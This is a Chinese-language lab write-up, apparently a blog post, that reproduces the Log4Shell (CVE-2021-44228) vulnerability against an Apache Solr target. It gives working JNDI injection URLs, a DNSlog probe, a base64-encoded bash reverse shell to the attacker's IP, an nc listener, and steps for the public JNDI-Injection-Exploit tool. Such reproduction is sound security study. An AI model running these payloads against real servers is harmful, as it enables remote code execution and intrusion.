CVE-2021-44228 漏洞复现

漏洞描述

什么是 log4j 和 log4j2

log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。

什么是 JNDI

JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。

JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。

漏洞原理

log4j2 在日志输出中,未对字符合法性进行严格的限制,执行了 JNDI 协议加载的远程恶意脚本,从而造成RCE。

详细过程

当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中,假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class},log4j2 就会去解析该信息。

通过 JNDI 的 lookup() 方法去解析 URL:ldap:192.168.249.1:9001/poc.class,解析到 ldap,就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源,如果找不到则会去 http 服务中找。

只要在 ldap 或者 http 中找到了 poc.class ,就会将资源信息返回到 JNDI 接口,进而返回给应用程序的 log4j2 组件。

而 log4j2 组件会将其下载下来,然后发现 poc.class 是一个 .class 文件,就会去执行里面的代码,从而实现注入,我们就可以通过 poc.class 实现任意命令的执行。

影响版本

复制代码
2.0 ≤ Apache Log4j2 < 2.15.0-rc2

漏洞复现

首先明确攻击机和靶机,由于都是在虚拟机上,彼此之间可以通信,可以反弹 shell

复制代码
攻击机(kali):192.168.52.151
靶机(centos):192.168.52.253

搭建完成后访问 8983 端口可以看到访问成功

注入点是在 /solr/admin/cores?,这里有个参数 action 可以传

使用 dnslog 平台获取一个子域名看看回显,得到的子域名是 45udt8.dnslog.cn,利用如下 payload 测试 java 版本能否回显

复制代码
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.45udt8.dnslog.cn}

查看 dnslog 平台,刷新记录就能看到爆出了 java 版本,说明存在 log4j 漏洞

利用 JNDI 工具注入反弹 shell 命令

反弹 shell 命令如下,一般都需要 base 编码一下

复制代码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjE1MS8yMjMzIDA+JjE=}|{base64,-d}|{bash,-i}

在攻击机上搭建好环境,编译工具需要 java1.8 版本和 maven 工具

java 版本更换,默认 java 版本不是 1.8,按照教程更换

复制代码
https://blog.csdn.net/weixin_44862511/article/details/132415494

maven 编译安装,按照教程安装

复制代码
https://myon6.blog.csdn.net/article/details/136558685?spm=1001.2014.3001.5502

注入工具下载,地址如下:

复制代码
https://github.com/welk1n/JNDI-Injection-Exploit

编译安装工具

复制代码
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
cd target

一切准备就绪,接下来就可以开始注入攻击了

利用注入命令如下

复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"

填入反弹 shell 命令和攻击机的 ip

复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjE1MS8yMjMzIDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.52.151"

出现如下界面这个表示已经成功开启监听

选择对应 java 版本的 payload 路径,这里是 jdl1.8, 拼接构造完整 payload

复制代码
http://192.168.52.253:8983/solr/admin/cores?action=${jndi:rmi://192.168.52.151:1099/cabkj7}

先新开一个 kali 窗口执行监听命令

复制代码
nc -lvvp 2233

再传入构造好的命令执行反弹 shell

JNDI 注入工具的终端显示如下:

查看监听端口,成功反弹 shell

注意:需要将 payload 编码后用 burp 发包,不然可能会有一些问题

相关推荐
大方子21 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络1 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd1 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用2 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云